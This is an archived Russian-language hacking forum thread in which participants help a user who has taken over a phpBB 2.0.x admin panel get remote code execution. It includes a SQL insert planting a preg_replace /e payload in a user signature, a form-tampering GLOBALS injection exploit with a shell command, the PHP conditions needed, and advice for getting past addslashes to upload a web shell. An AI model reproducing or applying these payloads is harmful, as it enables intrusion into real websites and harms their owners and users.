PDA

Просмотр полной версии : Вопрос по phpbb!


fly
01.07.2007, 05:21
Получил админку, хотел сделать инклуд через базу (через бекапп)
Составил запрос -->


Insert INTO phpbb_users (user_id, user_active, username, user_password, user_session_time, user_session_page, user_lastvisit, user_regdate, user_level, user_posts, user_timezone, user_style, user_lang, user_dateformat, user_new_privmsg, user_unread_privmsg, user_last_privmsg, user_emailtime, user_viewemail, user_attachsig, user_allowhtml, user_allowbbcode, user_allowsmile, user_allowavatar, user_allow_pm, user_allow_viewonline, user_notify, user_notify_pm, user_popup_pm, user_rank, user_avatar, user_avatar_type, user_email, user_icq, user_website, user_from, user_sig, user_sig_bbcode_uid, user_aim, user_yim, user_msnm, user_occ, user_interests, user_actkey, user_newpasswd) VALUES('2511111', '1', 'user', 'e10adc3949ba59abbe56e057f20f883e', '0', '0', '0', '1141890952', '0', '0', '0.00', '1', 'english', 'D M d, Y g:i a', '0', '0', '0', NULL, '0', '1', '0', '1', '1', '1', '1', '1', '0', '1', '1', '0', '', '0', '', '', '', '', 'a:include($_GET[w])', '(.+)/e\0', '', '', '', '', '', '', NULL);


Но при переходе в профайл по ссылке вида -->
profile.php?mode=editprofile

Получаю ошибку

Parse error: parse error, unexpected ']' in /var/www/1/xost/web/forum/includes/usercp_register.php(759) : regexp code on line 1

Fatal error: Failed evaluating code: ] in /var/www/1/xost/web/forum/includes/usercp_register.php on line 759


Как это исправить. Я понял что ] - ковычка выдает ошибку.Версия форума 2.0.4

Basurman
03.07.2007, 19:12
Ну про версию бабушка надвое скала... (форум может быть проапдейчен вручную без CHANGELOG.html, может быть переписан, что наврядли, и тд)

Бага (если она есть) юзается так: (цопирайты K1b0rg):

Бага в профайле signature_bbcode_uid (Нужен юзер, с любыми правами).
Как юзать: Значит регаемся на форуме, заходим в профайл. Правим страницу.. (Проще регаться нормально, а не через 1 место имхо :D (с) Басурман)

<form action="profile.php" enctype="multipart/form-data" method="post">

меняем на

<form action="profile.php?GLOBALS[signature_bbcode_uid]=(.%2B)/e%00" enctype="multipart/form-data" method="post">

В подпись(Signature) суем такую бяку

kibi:`ls`

Вообщем, сначала любое слово, потом двоеточие ,а после него php код. Вставляем, сохраняем, ползем обратно в профайл, и нежно издыхаем, от результатов.

Бага настока редкая, что просто охренеть.
Для нее условия
# 1. PHP 5 < 5.0.5
# 2. register_globals=On
# 3. magic_quotes off
ЭТО ОЧЕНЬ РЕДКОЕ сочетание, поэтому не удивляйтесь, если пахать не будет.

Еще есть как минимум 6 способов залишь шелл, ты выбрал самый геморойный и к тому же неверно реализовал. Смотри тему в важных "FAQ по PHPBB", там все написано

n1†R0x
03.07.2007, 19:20
ЭТО ОЧЕНЬ РЕДКОЕ сочетание, поэтому не удивляйтесь, если пахать не будет.
обрати внимание на эту строчку (чекни потом через пхпинфо)

по сути, залить шелл можно более простыми способами (как уже сказали выше), особенно при safe mode = 0

fly
03.07.2007, 20:06
2 Basurman

Знаешь это ты посоветовал , то что врядли прокатит, а у меня в моем способе все просто
обновил акк и инклуд готов. Вопрос был почему ] - из a:include($_GET[w]) вылазит как ошибка!

Basurman
03.07.2007, 20:42
Знаешь это ты посоветовал , то что врядли прокатит
Это ты про что? Если про CHANGELOG, то это ж не панацея :) По другому ты не определишь версию (только свежие). Доверяй, но проверяй, как говорится.

А не работает из-за addslashes()
Если охота позамарачиваться, попробуй через функцию char()

Basurman
03.07.2007, 20:49
А, да, забыл совсем. Чтобы не резал, можно еще немного bbcode.php поправить :)

хотя нет - туплю. ббкоды только в теле

fly
03.07.2007, 20:50
Так как это сделать с char --a:include($_GET[w])

Basurman
03.07.2007, 20:56
Попробуй по крайней мере... В смысле как?Открываешь в виндовс таблицу символов, потом пишешь что-то вроде char(1,2,4)
А чем другие способы не приглянулись?

n1†R0x
03.07.2007, 21:30
мб я туплю, но просто include($w) не прокатит?

Basurman
03.07.2007, 21:45
Я тоже туплю :D
Оно не заработает - на форуме в подписи и будет висеть include($w) или $_get[w]
как я и писал выше
ЭТО ОЧЕНЬ РЕДКОЕ сочетание, поэтому не удивляйтесь, если пахать не будет.
Это бажный PHP 5-й версии (внимание на ссылку со словом GLOBALS)

k1b0rg
04.07.2007, 09:31
2Basurman

Ты отталкиваешься от другого способа. И то что привел человек, относится к этой баге, только ее надо по другому реализовывать.

В приведенной цитате, надо заливать через редактирование профайла, и на нём стоят ограничения, а у человека уже есть админка. И человек все правильно делает.

Если у тебя phpinfo не срабатало, значит там либо патч стоит либо еще какая-нить херня. попробуй правда include($w)

fly
04.07.2007, 17:20
Будем пробовать!k1b0rg те респект за реализацию залива.!!!

fly
04.07.2007, 18:10
Выбивает
Parse error: parse error, unexpected ']' in /var/www/depts/engr/web/forum/includes/usercp_register.php(759) : regexp code on line 1

Fatal error: Failed evaluating code: ] in /var/www/depts/engr/web/forum/includes/usercp_register.php on line 759
Если include($w)

Basurman
05.07.2007, 10:53
Скачай в интернете форум и глянь, что там написано в usercp_register.php
Сейчас под рукой нет сорцов

А остальные способы как же? не ответил